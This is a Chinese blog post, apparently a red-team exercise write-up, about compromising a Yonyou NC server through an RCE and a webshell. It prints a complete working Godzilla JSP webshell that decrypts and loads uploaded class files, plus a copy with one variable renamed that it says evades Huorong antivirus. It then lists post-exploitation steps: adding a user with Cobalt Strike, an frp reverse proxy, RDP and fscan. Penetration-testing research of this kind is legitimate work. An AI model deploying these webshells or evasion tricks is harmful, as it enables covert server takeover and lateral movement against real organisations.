在某次对目标单位进行攻防演练的时候,搜集资产发现该单位有个用友nc,并且存在rce,于是就用脚本直接梭哈。
运行脚本后回显webshell地址(没截图),用冰蝎连接发现没了,怀疑是webshell被落地杀了,于是就查看脚本的代码将webshell改成免杀的webshell。
然后将编码内容进行解码,解码后发现是先将webshell进行url编码后再加上"";再进行一次url编码。
于是我就将解码的内容换成哥斯拉马,然后将哥斯拉生成的webshell给改成免杀webshell,经过上述编码然后保存到脚本中。再运行脚本成功上传。
写一下一个最简单的webshell免杀方法,就是直接将webshell的一些变量给改一下就可以,举个例子。
<%!
String xc="3c6e0b8a9c15224a";
class X extends ClassLoader{public X(ClassLoader z){super(z);
}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);}
}public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%>
<%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream= request.getInputStream();int _num=0;
while ((_num+=inputStream.read(data,_num,data.length))<data.length);
data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));
}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));
} }catch (Exception e){} %>
这是哥斯拉生成的一个普通的webshell,用火绒一扫就能检测出问题。
然后咱们只需要更改一些变量的名称就可以绕过火绒的检测,这是最简单的方法,但是只能是一时的。随着技术的更新换代防病毒软件会越来越厉害(这我就得提一下本人参加攻防总共写了三个免杀然后被杀率百分百的事了),下面是经过更改的webshell
<%! String xc="3c6e0b8a9c15224a";
class X extends ClassLoader{public X(ClassLoader z){super(z);
}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);
} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s); }catch (Exception e){return null; }}
%>
<%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream= request.getInputStream();
int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);
if (session.getAttribute("pay")==null){session.setAttribute("pay",new X(this.getClass().getClassLoader()).Q(data));
}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("pay")).newInstance();
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();
response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>
这里我就将payload
给改成了pay
就可以绕过火绒的检测当然当时运气比较好服务器用的是火绒如果是D盾可能就得在免杀这方面研究段时间了。
用哥斯拉连接后上传免杀马运行再用cs添加用户。
netuser /add 用户名 密码
往服务器上传frp
进行反代。然后rdp远程连接再传上fscan
进行内网扫描。
end
原文始发于微信公众号(FTC安全):简单免杀webshell拿下目标站点
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论